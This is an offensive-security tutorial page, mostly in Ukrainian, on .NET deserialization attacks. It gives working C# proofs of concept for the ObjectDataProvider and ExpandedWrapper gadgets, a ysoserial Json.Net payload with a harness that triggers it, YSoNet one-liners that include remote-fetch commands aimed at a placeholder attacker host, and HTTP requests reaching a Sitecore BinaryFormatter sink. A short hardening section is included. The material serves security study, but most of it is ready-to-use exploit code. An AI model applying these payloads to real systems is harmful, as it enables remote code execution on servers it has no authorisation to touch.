Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця публікація присвячена розумінню того, як gadget ObjectDataProvider експлуатується для отримання RCE і як бібліотеки Serialization Json.Net та xmlSerializer можуть бути зловживані з цим gadget.
ObjectDataProvider Gadget
З документації: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Так, це дивне пояснення, тому подивимось, що в цій класі такого цікавого: цей клас дозволяє обгорнути довільний об'єкт, використовувати MethodParameters щоб задати довільні параметри, а потім використати MethodName щоб викликати довільну функцію довільного об'єкта з заданими параметрами.
Отже, довільний об'єкт буде виконувати функцію з параметрами під час десеріалізації.
How is this possible
Простір імен System.Windows.Data, який знаходиться в PresentationFramework.dll за шляхом C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, — це місце, де визначено та реалізовано ObjectDataProvider.
Використовуючи dnSpy ви можете проінспектувати код класу, який нас цікавить. На зображенні нижче ми бачимо код PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Як ви можете помітити, коли встановлюється MethodName
, викликається base.Refresh()
, давайте подивимось, що це робить:
Окей, продовжимо і подивимось, що робить this.BeginQuery()
. BeginQuery
перевизначений в ObjectDataProvider
і ось що він робить:
Зверніть увагу, що в кінці коду викликається this.QueryWorke(null)
. Подивимось, що це виконує:
Зверніть увагу, що це не повний код функції QueryWorker
, але показано її цікавий фрагмент: код викликає this.InvokeMethodOnInstance(out ex);
— це рядок, де виконується встановлений метод.
Якщо ви хочете перевірити, що просте встановлення MethodName приведе до його виконання, ви можете запустити цей код:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Зауважте, що потрібно додати як reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll щоб завантажити System.Windows.Data
ExpandedWrapper
Використовуючи попередній exploit, будуть випадки, коли object буде deserialized as екземпляр ObjectDataProvider (наприклад, у DotNetNuke vuln, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою GetType
). У таких випадках не буде знань про тип об'єкта, що обгорнутий в екземплярі ObjectDataProvider (наприклад Process
). Ви можете знайти більше information about the DotNetNuke vuln here.
Цей клас дозволяє вказати типи об'єктів, які інкапсульовані в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції вихідного об'єкта (ObjectDataProvider) у новий тип об'єкта та надання потрібних нам властивостей (ObjectDataProvider.MethodName та ObjectDataProvider.MethodParameters).
Це дуже корисно для випадків, подібних до описаного вище, оскільки ми зможемо wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
Ви можете перевірити цей wrapper за допомогою наступного коду:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
На офіційній веб-сторінці вказано, що ця бібліотека дозволяє Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Отже, якщо ми зможемо deserialize the ObjectDataProvider gadget, ми зможемо викликати RCE, просто десеріалізувавши об'єкт.
Приклад Json.Net
По-перше, давайте подивимось приклад того, як serialize/deserialize об'єкт, використовуючи цю бібліотеку:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Зловживання Json.Net
Використовуючи ysoserial.net я створив exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
У цьому коді ви можете test the exploit, просто запустіть його і ви побачите, що calc виконується:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chain-ів, якими можна зловживати, якщо додаток виконує unsafe .NET deserialization. Сучасні інструменти для red-team, такі як YSoNet (та старіший ysoserial.net), автоматизують створення готових до використання шкідливих об’єктних графів для десятків гаджетів і форматів серіалізації.
Нижче наведена стисла довідка по найкориснішим ланцюжкам, що постачаються з YSoNet, з коротким поясненням їх роботи та прикладами команд для генерації payload-ів.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Corrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Abuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the fly | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Leverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults , then compiles or loads a DLL supplied with -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotely | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the object | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
Building / Installing YSoNet
Якщо попередньо зкомпільовані бінарні файли відсутні в Actions ➜ Artifacts / Releases, наступний однорядковий PowerShell-командлет налаштує середовище збірки, клонуватиме репозиторій і зкомпілює все в режимі Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Скомпільований ysonet.exe
можна знайти в ysonet/bin/Release/
.
Виявлення та посилення захисту
- Виявляйте несподівані дочірні процеси
w3wp.exe
,PowerShell.exe
, або будь-якого процесу, що десеріалізує дані, надані користувачем (наприклад,MessagePack
,Json.NET
). - Увімкніть та примусово застосуйте фільтрацію типів (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) коли застарілийBinaryFormatter
/NetDataContractSerializer
не може бути видалений. - За можливості мігруйте на
System.Text.Json
абоDataContractJsonSerializer
з конвертерами на основі білого списку. - Блокуйте небезпечні WPF збірки (
PresentationFramework
,System.Workflow.*
) від завантаження у веб-процесах, яким вони ніколи не потрібні.
Реальний sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Практичний .NET sink, доступний у автентифікованих потоках Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
обгортає викликnew BinaryFormatter().Deserialize(...)
. - Trigger path: pipeline
convertToRuntimeHtml
→ConvertWebControls
, який шукає сусідній елемент зid="{iframeId}_inner"
і читає атрибутvalue
, що трактують як base64‐encoded серіалізовані дані. Результат приводиться до string і вставляється в HTML.
Мінімальний end‑to‑end (автентифікований):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: будь-який BinaryFormatter chain, що повертає string (side‑effects виконуються під час deserialization). Див. YSoNet/ysoserial.net, щоб згенерувати payloads.
Для повного chain, який починається pre‑auth з HTML cache poisoning у Sitecore та призводить до цього sink:
Посилання
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.